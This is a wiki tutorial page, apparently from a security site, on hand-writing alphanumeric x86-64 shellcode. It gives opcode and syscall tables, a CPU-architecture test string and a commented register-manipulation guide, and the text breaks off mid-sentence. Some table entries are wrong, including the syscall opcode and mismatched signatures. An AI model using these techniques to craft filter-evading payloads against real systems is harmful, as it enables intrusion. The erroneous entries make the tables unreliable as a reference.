Questions about this topic? Sign up to ask in the talk tab.
Alphanumeric shellcode
From NetSec
Revision as of 21:17, 16 April 2012 by LashawnSeccombe (Talk | contribs) (→Using machine code compatibility hiccups to determine CPU architecture)
Blah, There's 32 bit and 64 bit, so lets go!
Contents
Intercompatible Alphanumeric Opcodes
###################################################### # Intercompatible x86* alphanumeric opcodes # ###################################################### # 0x64,0x65 # d,e # [fs|gs] prefix # # 0x66,067 # f,g # 16bit [operand|ptr] override # # 0x68,0x6a # h,j # push # # 0x69,0x6b # i,k # imul # # 0x6c-0x6f # l-o # ins[bwd], outs[bwd] # # 0x70-0x7a # p-z # Conditional jumps # # 0x30-0x35 # 0-5 # xor # # 0x36 # 6 # %ss segment register # # 0x38-0x39 # 8,9 # cmp # # 0x50-0x57 # P-W # push *x,*i,*p # # 0x58-0x5a # XYZ # pop [*ax, *cx, *dx] # ######################################################
Using machine code compatibility hiccups to determine CPU architecture
[root@ares bha]# strings xarch32.o TX4HPZTAZAYVH92 [root@ares bha]# strings xarch64.o TX4HPZTAZAYVH92 [root@ares bha]# echo -n $(strings xarch32.o)|wc -c 15 [root@ares bha]# # Returns true on a 32 bit system: [root@ares bha]# objdump -d xarch32.o xarch32.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 54 push %esp 1: 58 pop %eax 2: 34 48 xor $0x48,%al 4: 50 push %eax 5: 5a pop %edx 6: 54 push %esp 7: 41 inc %ecx 8: 5a pop %edx 9: 41 inc %ecx a: 59 pop %ecx b: 56 push %esi c: 48 dec %eax d: 39 32 cmp %esi,(%edx) [root@ares bha]# # Returns false on a 64 bit system: [root@ares bha]# objdump -d xarch64.o xarch64.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <_start>: 0: 54 push %rsp 1: 58 pop %rax 2: 34 48 xor $0x48,%al 4: 50 push %rax 5: 5a pop %rdx 6: 54 push %rsp 7: 41 5a pop %r10 9: 41 59 pop %r9 b: 56 push %rsi c: 48 39 32 cmp %rsi,(%rdx) [root@ares bha]# # Will not cause a segfault because (%rdx) points to somewhere inside the stack. [root@ares bha]# # Now we can use all uppercase/numeric unicode-resistant shellcode to determine [root@ares bha]# # cpu architecture regardless of the operating system. Enjoy.
32 bit syscall table
Protip: Set the %eax register value to the appropriate integer to invoke the function when invoking int $0x80 or \xcd\x80.
1:sys_exit:(int error_code); 2:sys_fork:int sys_fork(struct pt_regs *); 3:sys_read:(unsigned int fd, char __user *buf, size_t count); 4:sys_write:(unsigned int fd, const char __user *buf, 5:sys_open:(const char __user *filename, 6:sys_close:(unsigned int fd); 7:sys_restart_syscall:(void); 8:sys_creat:(const char __user *pathname, int mode); 9:sys_link:(const char __user *oldname, 10:sys_unlink:(const char __user *pathname); 11:sys_execve:long sys_execve(const char __user *, 12:sys_chdir:(const char __user *filename) 13:sys_time:(time_t __user *tloc); 14:sys_mknod:(const char __user *filename, int mode, 15:sys_chmod:(const char __user *filename, mode_t mode); 16:sys_lchown16:(const char __user *filename, 19:sys_lseek:(unsigned int fd, off_t offset, 20:sys_getpid:(void); 21:sys_mount:(char __user *dev_name, char __user *dir_name, 22:sys_oldumount:(char __user *name) 23:sys_setuid16:(old_uid_t uid); 24:sys_getuid16:(void); 25:sys_stime:(time_t __user *tptr); 26:sys_ptrace:(long request, long pid, unsigned long addr, 27:sys_alarm:(unsigned int seconds); 29:sys_pause:(void); 30:sys_utime:(char __user *filename, 33:sys_access:(const char __user *filename, int mode); 34:sys_nice:(int increment); 36:sys_sync:(void); 37:sys_kill:(int pid, int sig); 38:sys_rename:(const char __user *oldname, 39:sys_mkdir:(const char __user *pathname, int mode); 40:sys_rmdir:(const char __user *pathname); 41:sys_dup:(unsigned int fildes); 42:sys_pipe:int sys_fork(struct pt_regs *); 43:sys_times:(struct tms __user *tbuf); 45:sys_brk:(unsigned long brk); 46:sys_setgid16:(old_gid_t gid); 47:sys_getgid16:(void); 48:sys_signal:(int sig, __sighandler_t handler); 49:sys_geteuid16:(void); 50:sys_getegid16:(void); 51:sys_acct:(const char __user *name); 52:sys_umount:(char __user *name, int flags) 54:sys_ioctl:(unsigned int fd, unsigned int cmd, 55:sys_fcntl:(unsigned int fd, unsigned int cmd, unsigned long arg); 57:sys_setpgid:(pid_t pid, pid_t pgid); 60:sys_umask:(int mask); 61:sys_chroot:(const char __user *filename); 62:sys_ustat:(unsigned dev, struct ustat __user *ubuf) 63:sys_dup2:int sys_fork(struct pt_regs *); 64:sys_getppid:(void); 65:sys_getpgrp:(void); 66:sys_setsid:(void); 67:sys_sigaction:asmlinkage int sys_sigaction(int, const struct old_sigaction __user *, 70:sys_setreuid16:(old_uid_t ruid, old_uid_t euid); 71:sys_setregid16:(old_gid_t rgid, old_gid_t egid); 72:sys_sigsuspend:asmlinkage int sys_sigsuspend(int, int, old_sigset_t); 73:sys_sigpending:(old_sigset_t __user *set); 74:sys_sethostname:(char __user *name, int len); 75:sys_setrlimit:(unsigned int resource, 76:sys_old_getrlimit:(unsigned int resource, struct rlimit __user *rlim); 77:sys_getrusage:(int who, struct rusage __user *ru); 78:sys_gettimeofday:(struct timeval __user *tv, 79:sys_settimeofday:(struct timeval __user *tv, 80:sys_getgroups16:(int gidsetsize, old_gid_t __user *grouplist); 81:sys_setgroups16:(int gidsetsize, old_gid_t __user *grouplist); 83:sys_symlink:(const char __user *old, const char __user *new); 85:sys_readlink:(const char __user *path, 86:sys_uselib:(const char __user *library); 87:sys_swapon:(const char __user *specialfile, int swap_flags); 88:sys_reboot:(int magic1, int magic2, unsigned int cmd, 89:sys_ni_syscall:(void); 90:sys_old_mmap:(struct mmap_arg_struct __user *arg); 91:sys_munmap:(unsigned long addr, size_t len); 92:sys_truncate:(const char __user *path, loff_t length); 93:sys_ftruncate:(unsigned int fd, unsigned long length); 94:sys_fchmod:(unsigned int fd, mode_t mode); 95:sys_fchown16:(unsigned int fd, old_uid_t user, old_gid_t group); 96:sys_getpriority:(int which, int who); 97:sys_setpriority:(int which, int who, int niceval); 99:sys_statfs:(const char __user * path, 100:sys_fstatfs:(unsigned int fd, struct statfs __user *buf); 102:sys_socketcall:(int call, unsigned long __user *args) 103:sys_syslog:(int type, char __user *buf, int len); 104:sys_setitimer:(int which, 105:sys_getitimer:(int which, struct itimerval __user *value); 106:sys_newstat:(const char __user *filename, 107:sys_newlstat:(const char __user *filename, 108:sys_newfstat:(unsigned int fd, struct stat __user *statbuf); 110:sys_lookup_dcookie:(u64 cookie64, char __user *buf, size_t len); 111:sys_vhangup:(void) 114:sys_wait4:(pid_t pid, int __user *stat_addr, 115:sys_swapoff:(const char __user *specialfile); 116:sys_sysinfo:(struct sysinfo __user *info); 117:sys_s390_ipc: 118:sys_fsync:(unsigned int fd); 119:sys_sigreturn:unsigned long sys_sigreturn(struct pt_regs *); 120:sys_clone:long sys_clone(unsigned long, unsigned long, void __user *, 121:sys_setdomainname:(char __user *name, int len); 122:sys_newuname:(struct new_utsname __user *name) 124:sys_adjtimex:(struct timex __user *txc_p); 125:sys_mprotect:(unsigned long start, size_t len, 126:sys_sigprocmask:(int how, old_sigset_t __user *set, 128:sys_init_module:(void __user *umod, unsigned long len, 129:sys_delete_module:(const char __user *name_user, 131:sys_quotactl:(unsigned int cmd, const char __user *special, 132:sys_getpgid:(pid_t pid) 133:sys_fchdir:(unsigned int fd); 134:sys_bdflush:(int func, long data); 135:sys_sysfs:(int option, 136:sys_personality:(unsigned int personality); 138:sys_setfsuid16:(old_uid_t uid); 139:sys_setfsgid16:(old_gid_t gid); 140:sys_llseek:(unsigned int fd, unsigned long offset_high, 141:sys_getdents:(unsigned int fd, 142:sys_select: 143:sys_flock:(unsigned int fd, unsigned int cmd); 144:sys_msync:(unsigned long start, size_t len, int flags); 145:sys_readv:(unsigned long fd, 146:sys_writev:(unsigned long fd, 147:sys_getsid:(pid_t pid); 148:sys_fdatasync:(unsigned int fd); 149:sys_sysctl:(struct __sysctl_args __user *args); 150:sys_mlock:(unsigned long start, size_t len); 151:sys_munlock:(unsigned long start, size_t len); 152:sys_mlockall:(int flags) 153:sys_munlockall:(void); 154:sys_sched_setparam:(pid_t pid, 155:sys_sched_getparam:(pid_t pid, 156:sys_sched_setscheduler:(pid_t pid, int policy, 157:sys_sched_getscheduler:(pid_t pid); 158:sys_sched_yield:(void); 159:sys_sched_get_priority_max:(int policy); 160:sys_sched_get_priority_min:(int policy); 161:sys_sched_rr_get_interval:(pid_t pid, 162:sys_nanosleep:(struct timespec __user *rqtp, struct timespec __user *rmtp) 163:sys_mremap:(unsigned long addr, 164:sys_setresuid16:(old_uid_t ruid, old_uid_t euid, old_uid_t suid); 165:sys_getresuid16:(old_uid_t __user *ruid, 168:sys_poll:(struct pollfd __user *ufds, unsigned int nfds, 170:sys_setresgid16:(old_gid_t rgid, old_gid_t egid, old_gid_t sgid); 171:sys_getresgid16:(old_gid_t __user *rgid, 172:sys_prctl: 173:sys_rt_sigreturn:long sys_rt_sigreturn(struct pt_regs *); 174:sys_rt_sigaction:long sys_rt_action(int, const struct sigaction __user *, struct sigaction __user *, size_t); 175:sys_rt_sigprocmask:(int how, sigset_t __user *set, 176:sys_rt_sigpending:(sigset_t __user *set, size_t sigsetsize); 177:sys_rt_sigtimedwait:(const sigset_t __user *uthese, 178:sys_rt_sigqueueinfo:(int pid, int sig, siginfo_t __user *uinfo); 179:sys_rt_sigsuspend: 180:sys_pread64:(unsigned int fd, char __user *buf, 181:sys_pwrite64:(unsigned int fd, const char __user *buf, 182:sys_chown16: 183:sys_getcwd:(char __user *buf, unsigned long size); 184:sys_capget:(cap_user_header_t header, 185:sys_capset:(cap_user_header_t header, 186:sys_sigaltstack:long sys_sigaltstack(const stack_t __user *, stack_t __user *, 187:sys_sendfile:(int out_fd, int in_fd, 190:sys_vfork:int sys_vfork(struct pt_regs *regs) 191:sys_getrlimit:(unsigned int resource, 192:sys_mmap2: 193:sys_truncate64:(const char __user *path, loff_t length); 194:sys_ftruncate64:(unsigned int fd, loff_t length); 195:sys_stat64:(const char __user *filename, 196:sys_lstat64:(const char __user *filename, 197:sys_fstat64:(unsigned long fd, struct stat64 __user *statbuf); 198:sys_lchown:(const char __user *filename, 199:sys_getuid:(void); 200:sys_getgid:(void); 201:sys_geteuid:(void); 202:sys_getegid:(void); 203:sys_setreuid:(old_uid_t ruid, old_uid_t euid); 204:sys_setregid:(old_gid_t rgid, old_gid_t egid); 205:sys_getgroups:(int gidsetsize, old_gid_t __user *grouplist); 206:sys_setgroups:(int gidsetsize, old_gid_t __user *grouplist); 207:sys_fchown:(unsigned int fd, old_uid_t user, old_gid_t group); 208:sys_setresuid:(old_uid_t ruid, old_uid_t euid, old_uid_t suid); 209:sys_getresuid:(old_uid_t __user *ruid, 210:sys_setresgid:(old_gid_t rgid, old_gid_t egid, old_gid_t sgid); 211:sys_getresgid:(old_gid_t __user *rgid, 212:sys_chown: 213:sys_setuid:(old_uid_t uid); 214:sys_setgid:(old_gid_t gid); 215:sys_setfsuid:(old_uid_t uid); 216:sys_setfsgid:(old_gid_t gid); 217:sys_pivot_root:(const char __user *new_root, 218:sys_mincore:(unsigned long start, size_t len, 219:sys_madvise:(unsigned long start, size_t len, int behavior); 220:sys_getdents64:(unsigned int fd, 221:sys_fcntl64:(unsigned int fd, 222:sys_readahead:(int fd, loff_t offset, size_t count) 223:sys_sendfile64:(int out_fd, int in_fd, 224:sys_setxattr:(const char __user *path, const char __user *name, 225:sys_lsetxattr:(const char __user *path, const char __user *name, 226:sys_fsetxattr:(int fd, const char __user *name, 227:sys_getxattr:(const char __user *path, const char __user *name, 228:sys_lgetxattr:(const char __user *path, const char __user *name, 229:sys_fgetxattr:(int fd, const char __user *name, 230:sys_listxattr:(const char __user *path, char __user *list, 231:sys_llistxattr:(const char __user *path, char __user *list, 232:sys_flistxattr:(int fd, char __user *list, size_t size) 233:sys_removexattr:(const char __user *path, 234:sys_lremovexattr:(const char __user *path, 235:sys_fremovexattr:(int fd, const char __user *name); 236:sys_gettid:(void); 237:sys_tkill:(int pid, int sig); 238:sys_futex:(u32 __user *uaddr, int op, u32 val, 239:sys_sched_setaffinity:(pid_t pid, unsigned int len, 240:sys_sched_getaffinity:(pid_t pid, unsigned int len, 241:sys_tgkill:(int tgid, int pid, int sig); 243:sys_io_setup:(unsigned nr_reqs, aio_context_t __user *ctx); 244:sys_io_destroy:(aio_context_t ctx); 245:sys_io_getevents:(aio_context_t ctx_id, 246:sys_io_submit:(aio_context_t, long, 247:sys_io_cancel:(aio_context_t ctx_id, struct iocb __user *iocb, 248:sys_exit_group:(int error_code); 249:sys_epoll_create:(int size); 250:sys_epoll_ctl:(int epfd, int op, int fd, 251:sys_epoll_wait:(int epfd, struct epoll_event __user *events, 252:sys_set_tid_address:(int __user *tidptr) 253:sys_s390_fadvise64: 254:sys_timer_create:(clockid_t which_clock, 255:sys_timer_settime:(timer_t timer_id, int flags, 256:sys_timer_gettime:(timer_t timer_id, 257:sys_timer_getoverrun:(timer_t timer_id); 258:sys_timer_delete:(timer_t timer_id); 259:sys_clock_settime:(clockid_t which_clock, 260:sys_clock_gettime:(clockid_t which_clock, 261:sys_clock_getres:(clockid_t which_clock, 262:sys_clock_nanosleep: 264:sys_s390_fadvise64_64: 265:sys_statfs64:(const char __user *path, size_t sz, 266:sys_fstatfs64:(unsigned int fd, size_t sz, 267:sys_remap_file_pages: 271:sys_mq_open:(const char __user *name, int oflag, mode_t mode, struct mq_attr __user *attr); 272:sys_mq_unlink:(const char __user *name) 273:sys_mq_timedsend:(mqd_t mqdes, const char __user *msg_ptr, size_t msg_len, unsigned int msg_prio, const struct timespec __user *abs_timeout); 274:sys_mq_timedreceive:(mqd_t mqdes, char __user *msg_ptr, size_t msg_len, unsigned int __user *msg_prio, const struct timespec __user *abs_timeout); 275:sys_mq_notify:(mqd_t mqdes, const struct sigevent __user *notification); 276:sys_mq_getsetattr:(mqd_t mqdes, const struct mq_attr __user *mqstat, struct mq_attr __user *omqstat); 277:sys_kexec_load:(unsigned long entry, unsigned long nr_segments, 278:sys_add_key:(const char __user *_type, 279:sys_request_key:(const char __user *_type, 280:sys_keyctl:(int cmd, unsigned long arg2, unsigned long arg3, 281:sys_waitid:(int which, pid_t pid, 282:sys_ioprio_set:(int which, int who, int ioprio) 283:sys_ioprio_get:(int which, int who); 284:sys_inotify_init:(void); 285:sys_inotify_add_watch:(int fd, const char __user *path, 286:sys_inotify_rm_watch:(int fd, __s32 wd); 288:sys_openat:(int dfd, const char __user *filename, int flags, 289:sys_mkdirat:(int dfd, const char __user * pathname, int mode); 290:sys_mknodat:(int dfd, const char __user * filename, int mode, 291:sys_fchownat:(int dfd, const char __user *filename, uid_t user, 292:sys_futimesat: 293:sys_fstatat64:(int dfd, const char __user *filename, 294:sys_unlinkat:(int dfd, const char __user * pathname, int flag); 295:sys_renameat:(int olddfd, const char __user * oldname, 296:sys_linkat:(int olddfd, const char __user *oldname, 297:sys_symlinkat:(const char __user * oldname, 298:sys_readlinkat:(int dfd, const char __user *path, char __user *buf, 299:sys_fchmodat:(int dfd, const char __user * filename, 300:sys_faccessat:(int dfd, const char __user *filename, int mode); 301:sys_pselect6:(int, fd_set __user *, fd_set __user *, 302:sys_ppoll: 303:sys_unshare:(unsigned long unshare_flags); 304:sys_set_robust_list:(struct robust_list_head __user *head, 305:sys_get_robust_list:(int pid, 306:sys_splice:(int fd_in, loff_t __user *off_in, 307:sys_sync_file_range:(int fd, loff_t offset, loff_t nbytes, 308:sys_tee:(int fdin, int fdout, size_t len, unsigned int flags); 309:sys_vmsplice:(int fd, const struct iovec __user *iov, 311:sys_getcpu:(unsigned __user *cpu, unsigned __user *node, struct getcpu_cache __user *cache) 312:sys_epoll_pwait: 313:sys_utimes:(char __user *filename, 314:sys_s390_fallocate: 315:sys_utimensat:(int dfd, const char __user *filename, 316:sys_signalfd:(int ufd, sigset_t __user *user_mask, size_t sizemask); 318:sys_eventfd:(unsigned int count); 319:sys_timerfd_create:(int clockid, int flags); 320:sys_timerfd_settime:(int ufd, int flags, 321:sys_timerfd_gettime:(int ufd, struct itimerspec __user *otmr); 322:sys_signalfd4:(int ufd, sigset_t __user *user_mask, size_t sizemask, int flags) 323:sys_eventfd2:int sys_fork(struct pt_regs *); 324:sys_inotify_init1:(int flags); 325:sys_pipe2:int sys_fork(struct pt_regs *); 326:sys_dup3:(unsigned int oldfd, unsigned int newfd, int flags); 327:sys_epoll_create1:(int flags); 328:sys_preadv:(unsigned long fd, const struct iovec __user *vec, 329:sys_pwritev:(unsigned long fd, const struct iovec __user *vec, 330:sys_rt_tgsigqueueinfo:(pid_t tgid, pid_t pid, int sig, 331:sys_perf_event_open:( 332:sys_fanotify_init:(unsigned int flags, unsigned int event_f_flags) 333:sys_fanotify_mark:(int fanotify_fd, unsigned int flags, 334:sys_prlimit64:(pid_t pid, unsigned int resource, 335:sys_name_to_handle_at:(int dfd, const char __user *name, 336:sys_open_by_handle_at:(int mountdirfd, 337:sys_clock_adjtime:(clockid_t which_clock, 338:sys_syncfs:(int fd); 339:sys_setns:(int fd, int nstype); 340:sys_process_vm_readv:(pid_t pid, 341:sys_process_vm_writev:(pid_t pid,
64 bit syscall table
Protip: Set the %rax register value to the appropriate integer to invoke the function when invoking syscall or \xf0\x05.
0:read 1:write 2:open 3:close 4:stat 5:fstat 6:lstat 7:poll 8:lseek 9:mmap 10:mprotect 11:munmap 12:brk 13:rt_sigaction 14:rt_sigprocmask 15:rt_sigreturn 16:ioctl 17:pread64 18:pwrite64 19:readv 20:writev 21:access 22:pipe 23:select 24:sched_yield 25:mremap 26:msync 27:mincore 28:madvise 29:shmget 30:shmat 31:shmctl 32:dup 33:dup2 34:pause 35:nanosleep 36:getitimer 37:alarm 38:setitimer 39:getpid 40:sendfile 41:socket 42:connect 43:accept 44:sendto 45:recvfrom 46:sendmsg 47:recvmsg 48:shutdown 49:bind 50:listen 51:getsockname 52:getpeername 53:socketpair 54:setsockopt 55:getsockopt 56:clone 57:fork 58:vfork 59:execve 60:exit 61:wait4 62:kill 63:uname 64:semget 65:semop 66:semctl 67:shmdt 68:msgget 69:msgsnd 70:msgrcv 71:msgctl 72:fcntl 73:flock 74:fsync 75:fdatasync 76:truncate 77:ftruncate 78:getdents 79:getcwd 80:chdir 81:fchdir 82:rename 83:mkdir 84:rmdir 85:creat 86:link 87:unlink 88:symlink 89:readlink 90:chmod 91:fchmod 92:chown 93:fchown 94:lchown 95:umask 96:gettimeofday 97:getrlimit 98:getrusage 99:sysinfo 100:times 101:ptrace 102:getuid 103:syslog 104:getgid 105:setuid 106:setgid 107:geteuid 108:getegid 109:setpgid 110:getppid 111:getpgrp 112:setsid 113:setreuid 114:setregid 115:getgroups 116:setgroups 117:setresuid 118:getresuid 119:setresgid 120:getresgid 121:getpgid 122:setfsuid 123:setfsgid 124:getsid 125:capget 126:capset 127:rt_sigpending 128:rt_sigtimedwait 129:rt_sigqueueinfo 130:rt_sigsuspend 131:sigaltstack 132:utime 133:mknod 134:uselib 135:personality 136:ustat 137:statfs 138:fstatfs 139:sysfs 140:getpriority 141:setpriority 142:sched_setparam 143:sched_getparam 144:sched_setscheduler 145:sched_getscheduler 146:sched_get_priority_max 147:sched_get_priority_min 148:sched_rr_get_interval 149:mlock 150:munlock 151:mlockall 152:munlockall 153:vhangup 154:modify_ldt 155:pivot_root 156:_sysctl 157:prctl 158:arch_prctl 159:adjtimex 160:setrlimit 161:chroot 162:sync 163:acct 164:settimeofday 165:mount 166:umount2 167:swapon 168:swapoff 169:reboot 170:sethostname 171:setdomainname 172:iopl 173:ioperm 174:create_module 175:init_module 176:delete_module 177:get_kernel_syms 178:query_module 179:quotactl 180:nfsservctl 181:getpmsg 182:putpmsg 183:afs_syscall 184:tuxcall 185:security 186:gettid 187:readahead 188:setxattr 189:lsetxattr 190:fsetxattr 191:getxattr 192:lgetxattr 193:fgetxattr 194:listxattr 195:llistxattr 196:flistxattr 197:removexattr 198:lremovexattr 199:fremovexattr 200:tkill 201:time 202:futex 203:sched_setaffinity 204:sched_getaffinity 205:set_thread_area 206:io_setup 207:io_destroy 208:io_getevents 209:io_submit 210:io_cancel 211:get_thread_area 212:lookup_dcookie 213:epoll_create 214:epoll_ctl_old 215:epoll_wait_old 216:remap_file_pages 217:getdents64 218:set_tid_address 219:restart_syscall 220:semtimedop 221:fadvise64 222:timer_create 223:timer_settime 224:timer_gettime 225:timer_getoverrun 226:timer_delete 227:clock_settime 228:clock_gettime 229:clock_getres 230:clock_nanosleep 231:exit_group 232:epoll_wait 233:epoll_ctl 234:tgkill 235:utimes 236:vserver 237:mbind 238:set_mempolicy 239:get_mempolicy 240:mq_open 241:mq_unlink 242:mq_timedsend 243:mq_timedreceive 244:mq_notify 245:mq_getsetattr 246:kexec_load 247:waitid 248:add_key 249:request_key 250:keyctl 251:ioprio_set 252:ioprio_get 253:inotify_init 254:inotify_add_watch 255:inotify_rm_watch 256:migrate_pages 257:openat 258:mkdirat 259:mknodat 260:fchownat 261:futimesat 262:newfstatat 263:unlinkat 264:renameat 265:linkat 266:symlinkat 267:readlinkat 268:fchmodat 269:faccessat 270:pselect6 271:ppoll 272:unshare 273:set_robust_list 274:get_robust_list 275:splice 276:tee 277:sync_file_range 278:vmsplice 279:move_pages 280:utimensat 281:epoll_pwait 282:signalfd 283:timerfd_create 284:eventfd 285:fallocate 286:timerfd_settime 287:timerfd_gettime 288:accept4 289:signalfd4 290:eventfd2 291:epoll_create1 292:dup3 293:pipe2 294:inotify_init1 295:preadv 296:pwritev 297:rt_tgsigqueueinfo 298:perf_event_open 299:recvmmsg 300:fanotify_init 301:fanotify_mark 302:prlimit64 303:name_to_handle_at 304:open_by_handle_at 305:clock_adjtime 306:syncfs 307:sendmmsg 308:setns 309:getcpu 310:process_vm_readv 311:process_vm_writev
64 bit alphanum available instructions
cmp imul insb insl insw ja jae jb jbe je jne jno jns jo jp js movslq outsb outsl outsw pop push pushq pushw xor
64 bit alphanumeric code register manipulation guide
# This is nothing except for how-to zero out # all the cpu registers in alpha space push %rsp pop %rcx # Now, watch carefully. push %rsi xor %ss:(%rcx), %rsi # Zero out %rsi pop %r8 # setting %rsp back to %rcx
push %rdi xor %ss:(%rcx), %rdi # Zero out %rdi pop %r8 # set %rsp to %rcx push %rdi pop %rdx # rdx is zero
push $0x30 pop %rax xor $0x30, %al # zeroed out %rax
# Time to zero %rbx and %rbp xor %ss:0x30(%rcx), %rax xor %rax, %ss:0x30(%rcx) # Zero that stack slot xor %rbx, %ss:0x30(%rcx) xor %ss:0x30(%rcx), %rbx # %rbx is zero
push %rdx pop %rax # re-initialize %rax as dummy
xor %ss:0x30(%rcx), %rax xor %rax, %ss:0x30(%rcx) xor %rbp, %ss:0x30(%rcx) xor %ss:0x30(%rcx), %rbp # %rbp is zero
# Setting register values and data manipulation # in alphanumeric code for the 64 bit amd. # by hatter (blackhatacademy.org)
# The first method to set the value of a # register is using push/pop.
# The following pushes are valid # alphanumeric code:
# pushw [word] \x66\x68\x##\x## fh?? # pushq [byte] \x6a\x## j? # pushq [dword] \x68\x##\x##\x##\x## h???? # # So we can tell from that we can push our own # alphanumeric data in one byte, two byte, and # four-byte quantities at once. # # 64 bit registers: # %r8-%r15, rax,rcx,rdx,rbx,rsp,rbp,rsi,rdi # 0x41[0x50-57] # # push %r8 \x41\x50 AP # push %r9 \x41\x51 AQ # push %r10 \x41\x52 AR # push %r11 \x41\x53 AS # push %r12 \x41\x54 AT # push %r13 \x41\x55 AU # push %r14 \x41\x56 AV # push %r15 \x41\x57 AW # # We can see here quickly that the 'A' opcode is # actually a prefix for the extended 64 bit CPU # registers. We can tell that %r8-%r15 correspond # to registers %rax-%rdi when examining our next # push instructions: # # push %rax \x50 P # push %rcx \x51 Q # push %rdx \x52 R # push %rbx \x53 S # push %rsp \x54 T # push %rbp \x55 U # push %rsi \x56 V # push %rdi \x57 W # # 16 bit registers: # 0x66 or 'f' prefix: # %r8w-%r15w # %ax,%cx,%dx,%bx,%sp,%bp,%si,%di # example: \x41\x50, "push %r8" (AP) # becomes: \x66\x41\x50, "push %r8w" (fAP)
# The following pops are alphanumeric: # * Protip, the %r's take +1 byte # # 64-bit registers: # %rcx, %rdx, %rax # # pop %rax \x58 X # pop %rcx \x59 Y # pop %rdx \x5a Z # # * Use \x41 (A) prefix to access %r8-r10 e.g. AX # # 16 bit registers (using 0x66 or 'f' # [sometimes fA] prefix): # %cx, %dx, %ax, %r8w, %r9w, %r10w # # So, using push and pop we can set the values of # 6 fullsize CPU registers: # %rax, %rcx, %rdx, %r8, %r9, %r8 # # Or get any values of 16 fullsize CPU registers # to the top of the stack: # %r8-%r15, %rax-%rdi # # Lets look quickly. We've got 5 main registers # and 5 special 64 bit registers we can push but # not pop: # %rbx, %rsp, %rbp, %rsi, %rdi # # How can we write to those (or read their # sub-registers) using alphanumeric bytecode # instructions and operands only? We can also # presumably use any of the 6 full control # registers by our emulating for mov with push # and pop. Using only the registers we can # already access, we will attempt to get # instructions for our use to set values. # # We've identified our special register prefix, # 0x41, 'A'. # We've identified our word operand override, # 0x66, 'f'. # # Lets identify all the alphanumeric overrides and prefixes. # Notice these overrides are very similar to those for 32 # bit platforms. # # 0x36, '6', %ss segment override. Very handy. # 0x64, 'd', %fs segment override # 0x65, 'e', %gs segment override # # 0x66, 'f', 16 bit operand size # 0x67, 'g', 16 bit address size # # 0x41, 'A', 64 bit special register use (%r##) # 0x48, 'H', 64 bit register size override # # 0x40-4a, special 64 bit overrides # # Now is probably a good time to mention that the # opcodes used for popping a register can also be # used as 'register operands' for more advanced # instructions. For example, take this xor # instruction: # xor $0x[byte](%rax),%ebx # "\x33\x58\x##" "3X?" # # The %rax register can be changed to %rcx or %rdx # using the 0x59 (Y) and 0x5a (Z) opcodes in place # of the 0x58 (X) opcode: # xor $0x[byte](%rax),%ebx # "\x33\x59\x##" "3Y?" # # Whenever there's a controllable register, we'll # use the notation {reg} so we'll recognize it as # an option. In our bytecodes and string examples, # we will use a '?' in the bytecode itself and a # '*' to denote the register operand, for example: # xor $0x[byte]({reg}),%ebx # "\x33\x??\x##" "3*?" # # So start memorizing the opcodes for rax,rcx, and # rdx, and get it in your head that they'll be used # frequently. When we run into multiple operands, # we'll use their operand number in the notation # for readability purposes. # # -Xor # -Imul # -Movslq # # Identifying the ways to set the rest of our # registers, while investigating %rbx, was not # entirely fruitful. We do not get full control # over the %rbx register, however, we get write # access to sub-registers: # %ebx, %bx, %bh, %bl # We can access these by using xor, imul, and # movslq instructions: # -%ebx: # xor $0x[byte]({reg}),%ebx # "\x33\x??\x##" "3*?" # # imul $0x[dword1],0x[byte2]({reg}),%ebx # "\x69\x??\x#2\x#1\x#1\x#1\x#1" "i*21111" # # imul $0x[byte1],0x[byte2]({reg}), %ebx # "\x6b\x??\x#2\x#1" "k*21" # # movslq 0x[byte1]({reg}), %ebx # "\x63\x??\x## "c*?" # # Note: if you want to access the %ss segment, put # the prefix at the beginning of the bytecode of # instructions (e.g. "63*?" in stead of "3*?"). If # you'd like to use the special 64 bit registers, # put 0x41 or "A" at the beginning of the bytecode. # if you need to use both, you must always use the # %ss segment register prefix first, e.g. '6A3*?'. # # Using one of our 64 bit force operators, we can # use any of those instructions on %ebx with an # override to treat it as %rbx (in this case, 0x48). # # imul $0x[byte1],0x[byte2]({reg}),%rbx # "\x48\x6b\x??\x#2\x#1" "Hk*21" # # So all we really have to set the value of %rbx # directly is imul, xor, and movslq. It's similar # for our other registers that we can't directly # access yet, save for a couple. # # Left over, we have %rsp, %rbp, %rdi, and %rsi. # Lets take a closer look at xor. Starting at # 0x30 and ending at 0x35 we have some pretty # valuable xor commands: # # 0x34: xor $0x##, %al # 0x35: xor $0x########, %eax # 0x48 0x35 : xor $0x########, %rax # # 0x30 is a multi-byte xor instruction. Requiring # at least two operands (even if register denote): # # 0x30 - xor %{16bit}, (%{64bit}) # xor %{16bit}, (%{64bit},%{64bit},1) # xor %{16bit}, (%{64bit},%{64bit},2) # # xor %{16bit}, 0x[byte](%{64bit}) # xor %{16bit}, 0x[byte](,%{64bit},1) # xor %{16bit}, 0x[byte](,%{64bit},2) # # xor %{16bit}, 0x[dword](%{64bit}) # xor %{16bit}, 0x[dword](,%{64bit},1) # xor %{16bit}, 0x[dword](,%{64bit},2) # # 0x31 - xor %{32bit}, (%{64bit}) # 0x31 is just as flexible as 0x30. Didn't document # all permutations here due to brevity. # # 0x32 - xor (%{64bit}), %{16bit} # 0x32 is just as flexible, although the offsets will # change source side rather than destination side. # # 0x33 - xor (%{64bit}), %{32bit} # 0x33 is the opposite of 0x31. Just as flexible. # # Lets combine our knowledge of xor with our knowledge # of the stack. When we push any data, our data is # accessible at %ss:(%rsp). Knowing this, we can use # another register in our available space (e.g. %rcx) # to set values on some of our more difficult registers: # %rbx, %rsp, %rbp, %rsi, %rdi # # First, we'll use push and pop to simulate 'mov': # # \x54 push %rsp # \x59 pop %rcx # \x5a pop %rax (This just sets the pointer back) # Two xor parameters allow us to set the index registers, # %rsi and %rdi. For now, we'll just zero them out: # # \x56 push %rsi # \x36\x48\x33\x31 xor %ss:(%rcx), %rsi # \x41\x58 pop %r8 # # \x57 push %rdi # \x36\x48\x33\x39 xor %ss:(%rcx), %rdi # pop %r8 # -------- # # Now we've zeroed out %rsi and %rdi. %r14 and %r15 # special registers can also be pushed and zeroed out in # this fashion. Now we have "full control" over: # %rax, %rcx, %rdx, %rsi, %rdi, %r8, %r9, %r10, %r14, # and %r15. We still need to gain full control over: # %rsp, %rbp, %rbx, %r11, %r12, and %r13 # # Similar to push, we're going to require some sort of # controllable data before the setting of a register. # Where pop is concerned, we might require something to # be pushed to the stack first, in this case, we just # require a zero register. Due to the way that xor # works, once 